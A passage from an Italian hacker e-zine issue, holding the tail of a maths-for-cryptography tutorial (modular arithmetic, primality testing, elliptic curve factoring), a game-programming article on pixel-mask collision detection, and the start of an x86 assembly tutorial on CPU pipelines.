2 infatti m * Q + R == X -> 3 * 1 + 2 == 5 31 mod 43 = 31 infatti 43 * 0 + 31 == 31 Possiamo dire che R < m, infatti 0 < R < m - 1 (X mod 1) == 0 -> un qualsiasi numero modulo 1 e' sempre uguale a 0. (0 mod m) == 0 -> 0 modulo qualsiasi numero e' sempre uguale a 0. (X + Y) (mod m) == X(mod m) + Y(mod m) -> il resto di una somma e' uguale alla somma dei resti. (X * Y) (mod m) == X(mod m) * Y(mod m) -> il resto di un prodotto e' uguale al prodotto dei resti. Quest'ultima equivalenza ci sara' utile nella determinazione dei resti in divisioni tra numeri composti da molte cifre poiche' ci dice che: (X^2)(mod m) == X(mod m) * X(mod m) == R^2 1.1.6] Piccolo teorema di Fermat Cosa ci dice il piccolo teorema di Fermat? p divide a^(p - 1) - 1, quando p e' primo e a e' primo con p [non hanno divisori comuni]. Una generalizzazione che puo' seguire da questa forma e': presi due numeri interi positivi m, n con m == n allora a^n == a^m (mod p). [Utilizzato per la dimostrazione dell'algoritmo RSA]. 1.2] Informatica 1.2.1] Calcolabilita' e complessita' di un algoritmo Calcolabilita': e' possibile scrivere un algoritmo per risolvere il problema? Complessita': sapendo che il problema e' calcolabile, quanto e' complesso? Per valutare la complessita' ci interessiamo del tempo di calcolo (tralaciamo quindi lo spazio di memoria occupato). La complessita' viene calcolata tenendo conto di tutte le operazioni algebriche e logiche, accesso in lettura e scrittura, etc... Nelle nostre valutazioni, comunque, partiremo dal presupposto che la macchina che eseguira' l'algoritmo sara' una macchina ideale, un calcolatore astratto che non tenga conto delle prestazioni hardware. Per poter descrivere la complessita' di un algoritmo e' necessario conoscere gli ordini di grandezza: teta, omega, O. Prendiamo ora due funzioni f e g, diremo che: f e' O(g) se f cresce al piu' come g, quindi g e' il limite superiore. f e' omega(g) se f cresce almeno come g, quindi g e' il limite inferiore. f e' teta(g) se f cresce come g, quindi f ha lo stesso ordine di grandezza di g. Per il concetto di limite, lim (x -> +inf) f(x)/g(x) == c Se c /= 0 => f e' teta(g) e quindi g e' teta(f) Se c == 0 => f e' O(g) Un esempio potrebbe essere: questo algoritmo ha complessita' O(log n), questo vuol dire che ha complessita' log in base 2 di n. Negli algoritmi ci puo' essere un'istruzione dominante allora accade che riducendo la complessita' di questa, la complessita' dell'intero algoritmo cali vertiginosamente. Il metodo migliore per valutare la complessita' di un codice e' quello di spezzarlo in blocchi e analizzare l'ordine di grandezza di ogni singolo blocco. Esempio di calcolo della complessita': { int n, i, p; scanf("%d", &n); for(i = 0, p = 0; i < n; i++) { p++; } } La complessita' di questo blocco e' O(n). Questa potrebbe crescere inserendo una nuova operazione di complessita' maggiore. 1.2.2] Rappresentazione numerica di un messaggio N.B QUESTO PARAGRAFO E QUELLO SULLA RAPPRESENTAZIONE DEI NUMERI IN Zn sono fondamentali per la comprensione della maggior parte degli algoritmi di crittografia. Supponiamo per esempio che un messaggio sia composto solo dalle 21 lettere dell'alfabeto italiano piu' lo spazio. Quindi con i numeri compresi tra 0 e 21 possiamo indicare ogni carattere. Dati m blocchi, quanti blocchi possiamo codificare col nostro insieme di 22 caratteri? 22^m; quindi possiamo indicare ogni blocco identificandolo tra 0 e (22^m) - 1. Prendiamo per esempio un blocco [A1..Am], indichiamo con i numeri [X1..Xm] corrispondenti alle lettere A1..Am e indichiamo il blocco col numero risultante. Piu' precisamente con il metodo illustrato qui sotto otteniamo che ogni blocco sia indicato univocamente: x = 22^(m - 1) * X1 + 22^(m - 2) * X2 + ... + 22^1 * X(m - 1) + Xm Il processo e' ovviamente invertibile, infatti possiamo ricavare [X1..Xm] e quindi [A1..Am]. Prendiamo il nostro x e dividiamolo per 22, il resto ottenuto da questa divisione sara' Xm. Ora dividiamo il quoziente (Q) della divisione per 22 e otteniamo X(m - 1) e cosi' via. 1.2.3] Rappresentazione di un messaggio in Zn N.B QUESTO PARAGRAFO E' FONDAMENTALE PER LA COMPRENSIONE DELLA MAGGIOR PARTE DEGLI ALGORITMI DI CRITTOGRAFIA. [Questo paragrafo e' in parte un riassunto, semplificato della Ref.2] [In questo paragrafo e' necessaria la parte di aritmetica modulare] Una volta trovato il numero di simboli del nostro alfabeto (22 nel paragrafo precente), genericamente n, possiamo indicare con Zn l'insieme dei numeri compresi tra 0 e n - 1. Di qui possiamo arrivare a scrivere una funzione f:Zn -> Zn che ad ogni blocco di m caratteri di Zn associa un nuovo blocco in Zn; questo procedimento rende possibile l'operazione inversa (descrittazione) f^-1. Una condizione necessaria su f perche' questa sia invertibile e' che sia iniettiva, cioe' che a ogni elemento del dominio ne associ uno e uno solo dell'immagine; se la condizione non fosse necessaria allora non potremmo scrivere una funzione che decritta univocamente i blocchi crittati. Matematicamente una funzione si dice iniettiva se: f(x) == f(x') <=> x == x' Una funzione f e' invertibile se e solo se e' iniettiva. La condizione di invertibilita' si esprime in questo modo: Presi due elementi x E X, y E Y sia f una funzione da X a Y, allora esiste una funzione f^-1 da Y a X se e solo se f^-1(f(x)) = x e f(f^-1(y)) = y L'invertibilita' puo' essere scritta anche cosi': g ° f = idA e f ° g = idB [In generale: f ° g == f(g)] **EQUIVALENZA** Definiamo ora l'operatore di equivalenza o conguenza in Zn a == b (mod n). Detto piu' semplicemente se pensiamo a Zn come ad un insieme di numeri consecutivi, prendiamo due numeri a, b E Zn. **SOMMA** Se a + b < n allora possiamo prendere come risultato della somma a + b. Se a + b >= n allora dobbiamo sottrarre n poiche' sforeremo dall'insieme Zn dato che dovremmo considerare numeri piu' grandi di n che non possono essere dentro l'insieme. Quindi se ripensiamo all'equivalenza un n + 1 == 1 in Zn, n + 2 == 2 in Zn, etc... L'operazione di riduzione si effettua per passare da un generico numero al suo corrispondente in Zn. Esempio: 3 + 5 == 2 in Z6, poiche' 8 (mod 6) == 2 **PRODOTTO** Ovviamente tutto cio' che abbiamo detto finora per la somma vale allo stesso modo per il prodotto. a * b = c (mod n) **OPPOSTO** Ogni x E Zn ammette opposto, che e' semplicemente il numero congruente a -x in Zn cosicche' x + (-x) == 0, poiche' 0 e' l'elemento neutro della somma. Esempio: In Z8, l'inverso di 5 e' 3, infatti 5 + 3 == 8 == 0 **INVERSO** Per quanto riguarda l'inverso dobbiamo riferirci all'elemento neutro del prodotto che e' 1, infatti x * x^-1 == 1. Non tutti gli elementi di Zn quindi ammettono inverso. Prendiamo ad esempio in Z5 il numero 2; bene il suo inverso sara' 3, poiche' 2 * 3 == 6 == 1. Mentre 2 non ha inverso in Z6, dato che ogni numero moltiplicato per 2 da' come risultato un numero pari, mentre l'inverso dovrebbe essere dispari. In generale possiamo riassumere che un numero ha inverso in Zn se e solo se GCD(x, n) == 1. Di conseguenza se n e' primo (cioe' divisibile solo per uno e per se stesso) allora ogni numero tranne 0 ammette inverso, e Zn definito queste operazioni di somma e prodotto e' un campo; al contrario se n non e' primo esiste almeno un numero in Zn che non ha inverso e Zn e' un anello. 2] Algoritmi fondamentali Quali caratteristiche deve avere un algoritmo? a) Finito: deve terminare dopo un numero finito di passi. b) Definito: essendo i computer delle macchine deterministiche, ogni passo dell'algoritmo deve essere definito precisamente. c) Input: 0 o piu' valori in input. d) Output: 1 o piu' output. e) Realizzabilita': tutte le operazioni usate nell'algoritmo devono poter essere fattibili anche da un uomo su carta. Un algoritmo si dice computazionalmente trattabile se esiste un algoritmo efficiente che lo risolva. Un algoritmo si dice efficiente se esiste una funzione che lo limita superiormente. 2.1] Test di primalita' e teorema di Fermat Secondo quanto ci dice il teorema di Fermat x^(p-1) mod p == 1 se p e' primo e x non e' multiplo di p; quando questa relazione non e' verificata allora p e' composto. Servono quindi solo O(log n) moltiplicazioni mod n per verificare il teorema di Fermat. Comunque per n molto grandi i calcoli diventano molto costosi in termini di tempo e risorse. 2.1.1] Test probailistico di primalita' Il test probabilistico di primalita' in p e' fondamentale per controllare in modo veloce, e comunque affidabile, se un intero e' primo oppure composto (e quindi riducibile in fattori primi :)). 0] Prendiamo un numero intero n dispari (ovviamente se e' pari avra' almeno un fattore, 2); 1] Sia n = 1 + (2^k) * q (q sara' dispari) 2] Scegliamo un x casuale tale che 1 < x < n 3] Sia j = 0 e y = (x^q) mod n (questo calcolo richiede O(log q) passi) 4] Se j == 0 e y == 1, oppure y == n - 1 allora n e' probabilemte primo Se j > 0 and y == 1 saltiamo al passo 6. Altrimenti proseguiamo. 5] j = j + 1 Se j < k allora y = (y^2) mod n e ritorniamo al passo 4. Altrimenti proseguiamo. 6] n e' sicuramente composto. L'algoritmo in se, computato una singola volta ha una probabilita' pari a 1/4 di fallire; per ottenere una maggiore sicurezza e' possibile ripetere l'algoritmo r volte, cosi' che la probabilita' di fallimento sia di (1/4)^r. Pensiamo quindi di ripetere l'algoritmo un numero finito di volte, ad esempio 100, la probabilita' che il nostro algoritmo fallisca sara' di (1/4)^100, praticamente 0. [Questo test e' il piu' gettonato ed e' implementato in tutte le librerie matematiche (vedi ad esempio GNU Multi Precision e la libreria matematica di OpenSSL) per il fatto che e' veloce ed affidabile.] 2.2] Numeri random Un numero random, e' un numero scelto a caso; scrivere un algoritmo che fornisca una buona fonte di numeri primi non e' affatto semplice. Algoritmi come il supe-rrandom number generator sono obsoleti e convergono in modo molto veloce e questo ci insegna che per generare numeri random non si dovrebbe usare metodi casuali, ma invece bisogna basarsi sulla teoria matematica. Una fonte di numeri casuali nei sistemi GNU/Linux e' /dev/random. In C possiamo per ottenere numeri random e' sufficiente appoggiarsi a due funzioni contenute nella stdlib, che sono la srand(), che permette di settare il random seed e la rand() che ci restituisce un intero casuale compreso tra 0 e RAND_MAX. #define RAND_MAX 2147483647 Ovviamente la sequenza di numeri casuali e' riottenibile reinserendo il lo stesso seed in srand(). Un esempio di inizializzazione potrebbe essere srand(time(NULL));. 2.2.1] Linear congruential method Per generare numeri casuali uniformemente distribuiti tra 0 e 1 si utilizza prevaletentemente il linear conguential method. In questo documento mostro solo l'idea alla base dell'algoritmo. Si scelgano 4 numeri: m modulo t.c m > 0 a moltiplicatore t.c 0 <= a < m c incrementatore t.c 0 <= c < m Xo valore di partenza t.c 0 <= Xo < m La sequenza di numeri casuali Xn seguira da: X(n + 1) = (a*Xn + c) mod m (n >= 0) Ovviamente per scegliere i 4 numeri di partenza ci son dei metodi che ci permettono di scegliere dei buoni valori. 2.3] Massimo comun divisore GCD [GCD == Great Commin Divisor] In questa sezione vedremo oltre l'aspetto matematico del massimo comun divisore anche l'algoritmo per il calcolo. Dati due numeri a, b il massimo comun divisore GCD(a, b) e' numero piu' grande che li divide entrambe. Vediamo ora alcune proprieta' del GCD. GCD(0, 0) == 0 GCD(u, v) == GCD(v, u) GCD(u, v) == GCD(-u, v) GCD(u, 0) == |u| L'algoritmo di Euclide ci permette di trovare il massimo comun divisore senza prima trovare i fattori primi di u e v. Poniamo sempre a sinistra l'intero maggiore. Vediamo prima l'algoritmo originale: 0] Siano A e C due interi > 1 calcolarne il GCD 1] Se A > C e C divide A => C e' il GCD(A, C) 2] (A mod C) == 1 allora A e C son primi tra loro, quindi l'algoritmo termina. Altrimenti (A mod C) > 1, calcoliamo il GCD(C, A mod C). Questo algoritmo da vita quindi a una procedura ricorsiva. Ora invece vediamo un'implementazione moderna dell'algoritmo. 0] Siano u e v due interi >= 0 calcolare GCD(u, v) 1] Se v == 0 allora GCD(u, v) == u 2] r = u mod v, u = v, v = r; ritorniamo al punto 1]. Esistono altri algoritmi per il calcolo del GCD [come il binary gcd algorithm], e quindi si potrebbe continuare a parlare del massimo comun divisore per pagine e pagine, ma direi che per rendere l'idea i due descritti son piu' che sufficienti. 3] Elliptic Curve Method L'idea che sta alla base dell'algoritmo di Lenstra e' quella di sfruttare delle curve ellittiche, scelte casualmente, per svolgere dei tentativi di fattorizzazione, e ognuno di questi ha una probabilita' non nulla di trovare un fattore primo di N. Inanzitutto vediamo come e' fatta una curva ellittica, la cui equazione e': y^2 = x^3 + a*x + b Da questo possiamo dedurre che una curve ellittica e' un grafico di una cubica (terzo grado) [non bisogna confondersi con l'ellisse]. Le curve ellittiche son funzioni continue il che ci permette di costruire operazioni binarie tra i suoi vari punti in un modello geometrico naturale, il che trasforma l'insieme di punti in gruppo abeliano. Le CE possono essere definite su qualsiasi campo k. L'algoritmo e' un miglioramento dell'algoritmo Pollard p-1 ed era il metodo piu' veloce per trovare i fattori primi di un intero prima del Generalized Number Field Sieve. Comunque e' ancora l'algoritmo piu' veloce per interi inferiore a 64 bits [20 cifre]. Il miglioramento consiste nel fatto che l'algoritmo di Lenstra considera il gruppo di una curva ellittica casuale su un campo finito Zp [con p primo], il quale ha sempre ordine p - 1. Invece l'ordine del gruppo della CE su Zp varia casualmente tra p e 2p. 0] Sia n il nostro intero da ridurre in fattori primi. 1] Scegliamo una curva ellittica C: y^2 = x^3 + a*x + b, tale che a e b appartengano a Z (insieme dei numeri interi). Scegliamo poi un punto P(x, y). Sia la scelta di C che la scelta di P dovranno essere pseudo-casuali. [Se noi fallissimo il tentativo di fattorizzazione con la coppia (C,P) scelta ora dovremmo sceglierne un'altra a caso.] 2] Verifichiamo ora che il massimo comun divisore GCD(4a^3 + 27b^2, n) == 1 Se questa condizione e' vera abbiamo la conferma che la curve da noi scelta e' riducibile mod p. Questo vuol dire che, preso un primo p, possiamo considerare i coefficienti dell'equazione della curva modulo p se e solo se questi sono primi con p. [GCD(K,Z) leggasi massimo comun divisore tra K e Z] Se 1 < GCD(4a^3 + 27b^2, n) < n allora abbiamo trovato un divisore non banale di n, quindi abbiamo trovato un fattore primo di n. Ogni volta che si verifica questa condizione possiamo dividere n per il fattore trovato e continuare la scomposizione in fattori primi. Se, invece, troviamo che il risultato del massimo comun divisore e' uguale ad n allora dobbiamo generare una nuova coppia (C,P). 3] Prendiamo un intero k tale che questo sia il prodotto di tutti i numeri primi minori di un certo b scelto a caso. Assumiamo per facilitare le operazioni di calcolo che b sia inferiore a un intero a 4 byte senza segno. Ora e' sufficiente trovare tutti i primi inferiori di questo b e moltiplicarli, cosicche' k sia multiplo di ognuno di loro. Si calcoli kP nel gruppo, con il metodo delle potenze veloci, modulo n. kP e' uno zero della curva ellittica nel gruppo Zp [dove p e' un divisore primo di n], ma non e' uno zero nel gruppo Zq [dove q e' un altro divisore di n, con q /= p]. A questo punto possiamo trovare un fattore di n computando il GCD(xP, n) [dove xP e' la prima coordinata del punto P]. 4] Se il procedimento fallisce e' necessario ripartire con una nuova coppia (C, P). Un'implementazione decente dell'algoritmo e' gmp-ecm di Paul Zimmermann and Alexander Kruppa. [Il codice dell'SECMI (Simple Elliptic Curve Method Implementation) che trovate sul mio sito e' una semplice reimplementazione di quello scritto da Rihard Brent, che dava dei problemi con alcuni numeri e poteva essere velocizzato]. Per qualsiasi chiarimento scrivetemi a binduck(at)gmxnet Ciao Riferimenti: *1 - The art of computer programming Vol. 1 - 2 *2 - Appunti di crittografia di Giovanni Alberti *3 - Libri e appunti vari di matematica Paolo Ardoino AKA binduck net> http://ardoino.altervista.org ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0C] OQ20040615[0C] :: :: [0x03][C0DiNG] C0LLiSi0N DETECTi0N [darko] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Innanzi tutto vorrei ringraziare lo staff di OndaQuadra per lo spazio concessomi, essendo questo il mio primo articolo in questa e-zine. Ed in secondo luogo vorrei inneggiare a un golpe perche' questo governo e' peggio di quello Mussolini... E poi... l'articolo! Trattiamo un'importante quanto fondamentale componente della programmazione di giochi, ovvero la rilevazione delle collisioni (in english: collision detection).Spieghiamo subito. Le collisioni, in un gioco, avvengono quando due oggetti si toccano; pensate, ad esempio, ad un'astronave che viene a contatto con una nave nemica o un meteorite, la collisione di questi due oggetti provocheranno l'innesco di un evento, ad esempio un'esplosione. La questione mi si e' posta durante la stesura del codice di un gioco, il DarkBattle, che e' pero' rimasto ad un livello embrionale :-( . Con questo articolo spieghero' perche' decidere se due oggetti si stanno toccando, non sia cosi' semplice come dirlo. Le librerie grafiche che utilizzo sono le SDL ma il discorso e' generale, per cui puo' essere applicato a tutte le librerie grafiche che permettono di leggere singoli pixel di un'immagine. Comunque non e' detto che in futuro non debba scrivere qualche articolo proprio sulle SDL. Utilizziamo l'esempio di un'astronave e di una nave nemica. I due oggetti in questione avranno una forma ben definita, magari un po' complessa, ad ogni modo, qualunque forma abbiano, le due immagini saranno sempre contenute dentro dei rettangoli che non vediamo in quanto riempiti di colore neutro (che diverra' poi, nel gioco, trasparente). Perche' c'e' questo rettangolo?? Perche' le immagini, di qualunque formato esse siano, sono definite da un'area (o canvas) rettangolare. Se disegnate un cerchio con Gimp, ad esempio, non potete salvare solo il cerchio, ma dovete salvare il rettangolo che contiene il cerchio, proprio perche' i formati di immagini prevedono solo immagini rettangolari. Torniamo alla nostra astronave, poniamo che sia questa (in ASCII Art): W .-----------. | | | ^ | | ^o^ | H | .o8o. | | ^o888o^ | | ||| | | | '-----------' Questo rettangolo di larghezza W e altezza H contiene l'immagine della astronave. Ovviamente, in un esempio piu' reale, la scelta di W e H e' tale da ridurre al minimo l'area del rettangolo. Come dicevo, il colore di sfondo del rettangolo verra' utilizzato come Key Color e non verra' visualizzato. Iniziamo ad utilizzare anche qualche termine piu' corretto ed attinente. D'ora in poi non parlero' piu' di "immagini" (a meno che non ce ne sia bisogno) ma di "sprite". Lo sprite (in italiano: folletto) e' un oggetto che in un gioco ha dei movimenti, che sono dati dalla successione di alcuni frame, come se si trattasse di un filmato, anzi, di una GIF animata. Ma i filmati e le GIF animate non possono essere modificate da eventi esterni, mentre uno sprite si'. Tornero' sul discorso in un prossimo articolo, per ora vi basti questo :) Le due problematiche fondamentali in un algoritmo che rilevi la collisione tra due spite sono: * capire quando le immagini _dentro_ i rettangoli si toccano; * utilizzare il minimo numero di funzioni/operazioni per non pregiudicare la velocita' del gioco. Passiamo subito ad analizzare la prima questione. Come facciamo, cioe', a capire quando due sprite si toccano "veramente"?? A noi interessa sapere se e' avvenuta una collisione tra le immagini che sono _dentro_ i rettangoli, non ci basta constatare la collisione dei rettangoli, altrimenti il gioco dara' l'impressione di essere parecchio impreciso e vedremmo, ad esempio, la nostra astronave esplodere "inutilmente" solo perche' un missile le e' passato di fianco! Allora ho implementato un algoritmo abbastanza semplice ma molto efficace, e -a parte le ottimizzazioni- credo che sia lo stesso algoritmo utilizzato dai programmatori di giochi "seri". Iniziamo ad illustrare lo schema teorico di tale algoritmo. Poniamo che il Key Color sia il nero, il nostro sprite utilizzera' percio' tutti i colori del mondo _tranne_ il nero, altrimenti, durante la fase del gioco, le parti nere diverranno trasparenti! Possiamo quindi costruirci una matrice WxH dove W e H rappresentano la largezza e l'altezza dell'immagine in pixel. Questa matrice sara' percio' composta da un numero di elementi che e' uguale al numero di pixel dell'immagine. Adesso associamo il valore 0 ad ogni pixel nero dell'immagine e il valore 1 ad ogni pixel diverso dal colore nero. La nostra matrice sara' quindi fatta cosi': Immagine Matrice W .-----------. 00000000000 | | 00000000000 | ^ | 00000100000 | ^o^ | 00001110000 H | .o8o. | ==> 00011111000 | ^o888o^ | 00111111100 | ||| | 00001110000 | | 00000000000 '-----------' Dal punto di vista della programmazione la matrice sara' un doppio array, di dimensioni [W][H]. Ovviamente potete anche utilizzare un array monodimensionale con un offeset uguale alla larghezza della immagine... come preferite, il risultato nn cambia. Adesso che abbiamo questa matrice cosa ne facciamo? Poniamo che la matrice di una nave nemica sia questa: Immagine Matrice W .-----------. 00000000000 | | 00000000000 | ^ | 00000100000 | o | 00000100000 H | _^_ | ==> 00001110000 | ::=:: | 00011111000 | I | 00000100000 | | 00000000000 '-----------' e che la posizione dell'astronave nemica e della mia sia questa: .-----------. | | | ^ | | o | | _^_ a | | ::=::-----------. | I |###| | | b|###| ^ | '-----------'^o^ | | .8o8. | | ^o888o^ | | ||| | | | '-----------' La zona contrassegnata da "#" e' la parte di piano delimitata dalla sovrapposizione delle due immagini. Questa zona, come si deduce (spero) dal disegno, e' larga "a" pixel e alta "b". Determinare i valori di "a" e di "b" e' piuttosto semplice, lo si deduce dalle coordinate delle astronavi. Cio' che ci interessa e' capire se si sono sovrapposte anche le immagini _dentro_ i rettangoli. Siamo al nocciolo della questione, attenzione quindi... Prendo le mie due matrici, quella associata alla nostra astronave e quella associata alla nave nemica. Di ogni matrice prendo la relativa sottomatrice axb (calcolando i giusti offset dati dalle coordinate degli sprite). Adesso inizio a prendere ogni elemento "i" di ogni matrice e li sottopongo all'AND logico. Le possibilita' sono le seguenti: Legenda: i_N -> elemento "i" della sottomatrice della nave nemica i_A -> elemento "i" della sottomatrice della nostra astronave Possibilita': 1. Se i_N = 0 e i_A = 0 Allora: i_N AND i_A = 0 2. Se i_N = 0 e i_A = 1 Allora: i_N AND i_A = 0 3. Se i_N = 1 e i_A = 0 Allora: i_N AND i_A = 0 4. Se i_N = 1 e i_A = 1 Allora: i_N AND i_A = 1 Che non e' altro che il risultato della tabellina dell'AND: AND | 0 1 ----------- 0 | 0 0 | 1 | 0 1 Spiegando i vari casi: 1. I pixel "i" dell'immagine della nave nemica e della mia astronave sono entrambi neri 2. Il pixel "i" dell'immagine della nave nemica e' nero mentre e' colorato nell'altra immagine 3. Il pixel "i" dell'immagine della nave nemica e' colorato mentre e' nero nell'altra immagine 4. I pixel "i" dell'immagine della nave nemica e della mia astronave sono entrambi colorati ...ma se quindi, come nel caso 4. i pixel nel punto "i" sono entrambi colorati, significa che gli sprite si stanno toccando (sporcaccioni...) e la collisione e' avvenuta! Per fiketteria mostriamo l'operazione con le matrici dell'ultimo caso. Ovviamente le sto inventando adesso, in quanto nel disegno precedente le astronavi, per semplicita' di disegno, non cozzavano. 1111110 0001000 0001000 1110000 0011100 0010000 1100000 AND 0011100 = 0000000 1000000 0001000 0000000 0000000 0000000 0000000 la prima matrice potrebbe essere l'ala di un'astronave mentre la seconda un "proiettile". Comunque sia, dopo l'AND logico, la matrice risultante possiede ben due "1", cio' significa che ci sono 2 collisioni, per cui possiamo innescare l'evento piu' appropriato (tipo un esplosione o un fumetto dell'astronave colpita che dice "ma chi t'e' muort!"). Il concetto quindi non e' di per se' complicato, ma come dicevo riguardo alle problematiche di questo algoritmo, sara' bene che l'utilizzo sia ottimizzato, in quanto ogni AND logico tra matrici costa parecchi cicli di processore. Per cui, ottimizzare l'uso dell'algoritmo significa: 1. Utilizzarlo solo quando ce n'e' un effettivo bisogno. Quindi, se un oggetto non entra mai in collisione con altri, come ad esempio un pianeta di sfondo, e' inutile processarne l'immagine ed eseguire test sulla sua posizione, puo' -anzi- deve essere ignorato. 2. Quando si testa una sovrapposizione, al primo "1" che risulti da un AND logico il test deve fermarsi. Infatti che utilita' ha sapere in quanti punti e' avvenuta la collisione?? A noi basta un punto solo (a meno che il vostro gioco non richieda diversamente, magari potreste volere che piu' punti collidono e piu' danno viene subito) in modo da poter immediatamente innescare l'evento e risparmiare quindi inutili giri di processore. 3. Non so se sia fattibile, non conosco ancora bene l'algebra delle matrici, ma potrebbe essere possibile limitare l'utilizzo dell'AND logico in base al determinante di ogni matrice. Sicuramente approfondiro' l'argomento, per ora l'algo rimane cosi'. 4. Ovviamente e' molto piu' conveniente se le matrici di ogni sprite vengono create all'inizio del gioco ed una volta per tutte, piuttosto che calcolare ogni volta i vari "0" e "1". Infatti se abbiamo gia' la nostra matrice possiamo ricavarci la sottomatrice semplicemente spostandoci di tanti pixel/unita' quanto la differenza tra le coordinate delle due immagini. Comunque queste ottimizzazioni sono molto generali, ovviamente piu' si entra nello specifico e piu' specifiche saranno le ottimizzazioni. Direi che con questo e' praticamente tutto. Se mi verranno in mente altre cose le aggiungero', fermo restando che potrebbero arrivare presto altri articoli sul Game Programming, magari partendo proprio dalle "origini". byez all darko org> ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0C] OQ20040615[0C] :: :: [0x04][C0DiNG] EASY ASSEMBLY MiSSi0N - PARTE 2 [spectrum] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Benvenuti alla parte seconda. Spero che abbiate appreso piacevolmente gli argomenti trattati nella parte prima, quindi inizio con l'elencare alcune definizioni che serviranno in seguito, tanto perche' non vi siano dubbi sulle terminologie che usero' nel corso dell'articolo. + Architettura di un microprocessore e sua implementazione: Per "Architettura" di un microprocessore, si intende la particolare configurazione in termini di numero e tipo di registri ed il parti- colare set di istruzioni che un determinato microprocessore puo elaborare. Da non confondersi con l'implementazione, che e' il modo in cui il suo hardware e' sviluppato, cioe la struttura fisica circui- tale. Ricapitolando, al lato pratico, si puo assumere che un micro- processore AthlonXP2200 ha la stessa architettura di un Pemtium4, vi- sto che il set di istruzioni di base, il numero e tipo di registri di base sono gli stessi. Tutte le applicazioni scritte basandosi sul linguaggio assembly dell'architettura "X86" 32bit girano su entrambi i microprocessori. Poco importa se l'Intel ha impiegato 55 milioni di transistor e l'AMD 37,5. Quando si parla di architettura compati- bile ci potranno essere prestazioni differenti ma le applicazioni verranno eseguite da entrambi i modelli. + Compilatore e linker: Il compilatore e' una particolare applicazione che trasforma un file di testo chiamato "codice sorgente", che per intenderci e' l'applica- zione che viene scritta da voi, in un file chiamato "oggetto", o me- glio conosciuto come file "object", con estensione .obj. Questo file e' un passaggio intermedio necessario affinche' un altra particolare applicazione chiamata "Linker" trasformi il file oggetto in file eseguibile finale (.obj in .exe). Con questa parte entrero' un po nello specifico sui microprocessori Intel con architettura chiamata IA-32 (Intel Architecture 32bit), quali per esempio il Pentium 4. Gli argomenti trattati restano cmq per ora validi anche per processori quali Athlon XP ed altri IA-32 compatibili, ed in egual modo per tutti i predecessori dal 386 in poi. Riguardo al codice, lo scrivo fin d'ora con sintassi valida per il com- pilatore Borland Turbo assembler 5.0, modalita' ideal mode. L'assembly e' la base su cui tutto il mondo informatico e' costruito. Non ci sono misteri particolari in questo linguaggio, cioe' tutto cio che si puo fare e' scritto nella documentazione del relativo micropro- cessore. Nessun mistero, ma un set d'istruzioni chiaro scritto e ben documentato, con i corrispondenti codici operativi in cui ogni istru- zione verra' trasformata dal compilatore, con tutto quello che serve insommma per arrivare fino allo sviluppo di sistemi operativi come Windows o Linux. Credo sia utile approfondire ancora un po' la parte hardware, per avere un idea attuale di com'e fatto il microprocessore, poi seguira' un po di software. Ovviamente lo scopo degli articoli e' capire il inguaggio assembly, ma senza aver capito l'hardware cio non e' possibile, visto che i due mondi sono strettamente legati. Riprendendo in mano la parte prima, dove ci eravamo fermati su qualche esempio di base riguardo il funzionamento di un microprocessore, avevo utilizzato un esempio di una persona seduta ad una scrivania che preleva i dati da una serie di cassettiere (memoria), li porta vicino a se (registri del microprocessore), con la capacita' della mente esegue i calcoli richiesti quindi ripone i risultati in un altra cassettiera (sempre memoria). Questo pero e' un esempio molto semplicistico. In realta', nella fami- glia X86, le operazioni vengono elaborate da una specie di catena di montaggio, per poter avere un maggior rendimento in termini di istruzio- ni al secondo. Provo a fare un esempio pratico. Allora, immaginatevi una piccola fabbrica con al centro un nastro trasportatore e 5 persone sedu- te una di seguito all'altra che compiono ognuna la sua parte di lavoro. Se i tempi sono ben bilanciati, un pezzo verra' costruito in circa 1/5 del tempo rispetto a quello che ne impiegherebbe un unica persona. In realta', immaginate che questa catena di montaggio debba compiere di continuo montaggi diversi, perche' nella cassa di partenza si trovano tanti semplici kit ma composti da materiali diversi. L'esempio di questa particolare fabbrica non e' dei piu reali, ma l'importante e' che sia chiaro. (0) Una persona portera' una cassa piena di kit, dal magazzino alla li- nea di montaggio. (1) In linea, una prima persona prende il kit dalla cassa lo apre e lo prepara per il secondo operatore. (2) La seconda persona deve riconoscere il kit a seconda di un codice numerico scritto su un etichetta. Immaginate che qui il nastro si interrompa e poi ne partano 3 paral- leli. Un gruppo di tre persone, ognuna specializzata in un montaggio diverso, sono disposti affiancati, lavorando ognuno in uno dei tre nastri paralleli. (3) Dopo il riconoscimento del kit dal secondo operatore, una terza persona lo portera' sul nastro dove si trova l'operatore specializzato a montare quel kit. (4) L'operatore di montaggio, sapendo cosa deve fare assembla veloce- mente le parti. (5) Il quinto alla fine del nastro va a riporle ordinatamente a magaz- zino. (4) ____ (0) (1) (2) (3) | | (5) ----> ---- ----- ----- |---- |----> |____ | Bene, veniamo ora al microprocessore 486 :) . --==0==-- Dal 386 in poi le istruzioni vengono appunto eseguite da una particolare catena di montaggio chiamata "Pipeline". A partire pero dal 486 la prima operazione riguarda solitamente il prelievo di un grosso blocco di ist- ruzioni da eseguire dalla memoria fisica, quindi portate in una zona all'interno del microprocessore chiamata memoria cache. Questo perche' con l'avvento dei 486 il microprocessore era talmente veloce ad eseguire le istruzioni che il collo di bottoglia era diventata la lettura dei dati dalla memoria. Quindi il trasporto di un blocco di codice da me- moria fisica (SDRAM) all'interno o vicino al microprocessore (memoria cache) viene fatto dal nostro operatore 0 (zero). Questa operazione e' chiamata solitamente PREFETCH delle'istruzioni. --==1==-- In una prima fase viene prelevata un istruzione dalla memoria cache. Questa operazione e' chiamata FETCH dell'istruzione. --==2==-- In una seconda fase avviene la decodifica dell'istruzione. Questa operazione e' chiamata DECODE. --==3==-- In una terza fase avviene l'instradamento dell'istruzione nella coda d'esecuzione appropriata. Questa operazione e' chiamata DISPATCH. --==4==-- In una quarta fase avviene appunto l'esecuzione dell'operazione. Questa operazione e' chiamata EXECUTION. --==5==-- In fine, come quinta fase, se necessario, viene scritto il risultato nel posto appropriato, ad esempio in un registro o in memoria. Questa operazione e' chiamata WRITEBACK. Le fasi sarebbero comunque 5, la fase 0 (zero) l'ho chiamata cosi' perche' e' 